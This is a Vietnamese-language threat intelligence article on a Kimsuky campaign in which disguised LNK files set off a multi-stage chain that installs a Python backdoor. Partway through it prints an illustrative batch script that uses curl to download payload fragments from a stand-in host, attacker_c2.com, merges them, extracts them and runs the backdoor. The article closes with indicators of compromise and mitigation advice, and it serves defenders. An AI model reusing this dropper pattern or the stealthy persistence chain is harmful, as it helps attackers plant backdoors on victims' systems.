Kimsuky: Mã độc tinh vi dùng LNK né tránh phát hiện nguy hiểm

Kimsuky: Mã độc tinh vi dùng LNK né tránh phát hiện nguy hiểm

Nhóm tấn công Kimsuky đã triển khai một chiến dịch tấn công mạng mới sử dụng các tệp tin phím tắt Windows độc hại, hay còn gọi là tệp LNK, để bí mật cài đặt backdoor dựa trên Python lên hệ thống nạn nhân. Phương thức mới của mã độc Kimsuky được thiết kế để duy trì sự ẩn mình qua nhiều giai đoạn, làm tăng độ khó cho các công cụ bảo mật trong việc phát hiện trước khi payload cuối cùng được triển khai.

Tổng Quan về Chiến Dịch Tấn Công của Kimsuky

Nhóm tấn công Kimsuky đã hoạt động trong nhiều năm, nổi tiếng với việc nhắm mục tiêu vào các tổ chức và cá nhân. Trong chiến dịch mới nhất này, nhóm đã thay đổi cách thức phân phối mã độc so với các cuộc tấn công trước đây.

Mục tiêu tổng thể vẫn là triển khai một backdoor Python trên máy của nạn nhân. Tuy nhiên, nhóm đã bổ sung nhiều bước trung gian vào chuỗi tấn công. Các bước này không chỉ làm cho việc phát hiện trở nên khó khăn hơn mà còn cung cấp cho kẻ tấn công quyền kiểm soát sâu hơn đối với quá trình lây nhiễm.

Sự Thay Đổi trong Kỹ Thuật Lây Nhiễm Ban Đầu

Các nhà nghiên cứu tại ASEC đã nhận diện sự thay đổi này và ghi nhận rằng nhóm Kimsuky đã có một sự thay đổi cấu trúc rõ ràng trong cách thức thực thi các tệp LNK độc hại của mình. Trước đây, luồng tấn công thường diễn ra từ tệp LNK đến PowerShell và trực tiếp đến tệp BAT.

Trong phiên bản gần đây, giai đoạn trung gian giờ đây chạy qua một tệp XML, một tệp VBS, một tệp PS1 và cuối cùng là một tệp BAT trước khi đến payload. Chuỗi mở rộng này bổ sung các lớp giữa mỗi bước, mang lại cho mã độc Kimsuky nhiều không gian hơn để né tránh phát hiện xâm nhập.

Diễn Biến Kỹ Thuật của Cuộc Tấn Công Mã Độc Kimsuky

Mồi Nhử và Giai Đoạn Khai Thác Ban Đầu

Các tệp LNK trong chiến dịch này được ngụy trang thành các tài liệu thông thường, với các tên như “Resume (Sungmin Park).hwp.lnk”“Guide to Establishing Data Backup and Recovery Procedures (Reference).lnk”. Những tên này được tạo ra để trông thuyết phục, khiến người dùng nhấp vào mà không nghi ngờ.

Khi được mở, tệp LNK kích hoạt một script PowerShell ẩn. Script này tạo một thư mục ẩn tại C:\windirr với các thuộc tính ẩn và hệ thống, giữ cho nó không xuất hiện trong các chế độ xem duyệt tệp thông thường.

Một tài liệu HWP giả mạo được hiển thị cho nạn nhân sau khi tệp LNK được thực thi. Điều này được thiết kế để che giấu hoạt động độc hại đang chạy ngầm.

Chuỗi Lây Nhiễm Đa Tầng và Cơ Chế Tồn Tại

Quá trình lây nhiễm được xây dựng qua nhiều giai đoạn kết nối, mỗi giai đoạn được thiết kế để âm thầm chuyển sang giai đoạn tiếp theo mà không gây ra cảnh báo bảo mật. Sau khi tệp LNK được mở, script PowerShell tạo thư mục ẩn và thả ba tệp:

  • Một tệp lịch trình tác vụ XML (sch_ha.db)
  • Một script VBS (11.vbs)
  • Một script PowerShell (pp.ps1)

Tệp XML đăng ký một tác vụ lập lịch có tên GoogleUpdateTaskMachineCGI, được đặt để chạy cứ sau 17 phút. Điều này giúp mã độc duy trì hoạt động ngay cả sau khi hệ thống khởi động lại. Tên tác vụ GoogleUpdateTaskMachineCGI__{56C6A980-91A1-4DB2-9812-5158E7E97388} được đăng ký trên hệ thống nạn nhân để duy trì việc thực thi liên tục.

Thu Thập Thông Tin và Triển Khai Payload

Khi tệp VBS chạy, nó khởi động pp.ps1. Script này thu thập các chi tiết hệ thống bao gồm: tên người dùng, các tiến trình đang chạy, phiên bản hệ điều hành, địa chỉ IP công cộng và thông tin phần mềm diệt virus. Dữ liệu bị đánh cắp sau đó được gửi đến kẻ tấn công thông qua Dropbox, một dịch vụ đám mây hợp pháp được sử dụng ở đây để hòa lẫn vào lưu lượng mạng thông thường và tránh bị phát hiện.

Script pp.ps1 cũng tải xuống một tệp BAT (hh.bat) từ tài khoản Dropbox của kẻ tấn công và thực thi nó. Tệp BAT này kéo hai đoạn ZIP từ các máy chủ từ xa, hợp nhất chúng và giải nén payload cuối cùng vào C:\winii.

rem Example of a simplified batch script logic (not actual exploit code)
@echo off
SET "DOWNLOAD_DIR=C:\windirr"
SET "FINAL_DIR=C:\winii"

IF NOT EXIST "%DOWNLOAD_DIR%" MD "%DOWNLOAD_DIR%"
IF NOT EXIST "%FINAL_DIR%" MD "%FINAL_DIR%"

rem Download ZIP fragment 1
curl -o "%DOWNLOAD_DIR%\part1.zip" "https://attacker_c2.com/payload_part1.zip"

rem Download ZIP fragment 2
curl -o "%DOWNLOAD_DIR%\part2.zip" "https://attacker_c2.com/payload_part2.zip"

rem Merge ZIP fragments (simplified, actual merging logic might be more complex)
copy /b "%DOWNLOAD_DIR%\part1.zip"+"%DOWNLOAD_DIR%\part2.zip" "%FINAL_DIR%\final_payload.zip"

rem Extract the final payload
"C:\Program Files\7-Zip\7z.exe" x "%FINAL_DIR%\final_payload.zip" -o"%FINAL_DIR%" -y

rem Clean up (optional)
del "%DOWNLOAD_DIR%\part1.zip"
del "%DOWNLOAD_DIR%\part2.zip"
del "%FINAL_DIR%\final_payload.zip"

rem Execute the backdoor
start "" "%FINAL_DIR%\beauty.py"

Kho lưu trữ chứa một backdoor Python có tên beauty.py, được đăng ký dưới dạng một tác vụ gọi là GoogleExtension và khởi chạy thông qua lịch trình XML.

Chức Năng của Backdoor Python và Tác Động Hệ Thống

Khi backdoor được cài đặt đầy đủ, kẻ tấn công giành quyền truy cập lệnh từ xa vào máy bị nhiễm. Backdoor kết nối đến máy chủ C2 tại 45.95.186[.]232 cổng 8080, gửi một gói “HAPPY” để xác nhận lây nhiễm và chờ lệnh. Tác động của chiến dịch mã độc Kimsuky này là nghiêm trọng.

Kẻ tấn công có thể thực thi các lệnh shell, duyệt thư mục, tải lên và tải xuống tệp, xóa tệp và thực thi các chương trình khác. Mức độ truy cập này cho phép kẻ tấn công bí mật giám sát và trích xuất dữ liệu nhạy cảm từ hệ thống của nạn nhân chừng nào việc lây nhiễm còn chưa bị phát hiện xâm nhập.

Indicators of Compromise (IOCs)

Các chỉ số thỏa hiệp sau đây có thể giúp các tổ chức phát hiện và phản ứng với chiến dịch mã độc Kimsuky này:

  • Tên tệp LNK độc hại:
    • Resume (Sungmin Park).hwp.lnk
    • Guide to Establishing Data Backup and Recovery Procedures (Reference).lnk
  • Đường dẫn thư mục ẩn:
    • C:\windirr
    • C:\winii
  • Tên tệp độc hại được thả:
    • sch_ha.db (XML task scheduler file)
    • 11.vbs (VBScript)
    • pp.ps1 (PowerShell script)
    • hh.bat (Batch script)
    • beauty.py (Python backdoor)
  • Tên tác vụ lập lịch:
    • GoogleUpdateTaskMachineCGI__{56C6A980-91A1-4DB2-9812-5158E7E97388}
    • GoogleExtension
  • Địa chỉ Command & Control (C2):
    • IP: 45.95.186[.]232
    • Cổng: 8080

Biện Pháp Phòng Ngừa và Phát Hiện

Để giảm thiểu rủi ro từ các kỹ thuật tấn công như của nhóm Kimsuky, các biện pháp sau đây là cần thiết:

  • Người dùng nên tránh mở các tệp LNK nhận được qua email hoặc ứng dụng nhắn tin, đặc biệt là các tệp được ngụy trang thành tài liệu.
  • Các tổ chức nên theo dõi Windows Task Scheduler để tìm các mục đáng ngờ có tên liên quan đến Google.
  • Cập nhật thường xuyên các công cụ bảo mật điểm cuối (Endpoint Security Tools) và chặn các kết nối ra ngoài không được ủy quyền đến các dịch vụ không xác định có thể giảm rủi ro xâm nhập thành công.
  • Triển khai các giải pháp phát hiện xâm nhập (IDS/IPS) và phân tích hành vi mạng để phát hiện sớm các hoạt động bất thường.
  • Đào tạo nhận thức bảo mật cho nhân viên về các mối đe dọa lừa đảo (phishing) và kỹ thuật xã hội.
  • Sử dụng các giải pháp lọc email và web tiên tiến để chặn các tệp đính kèm và URL độc hại.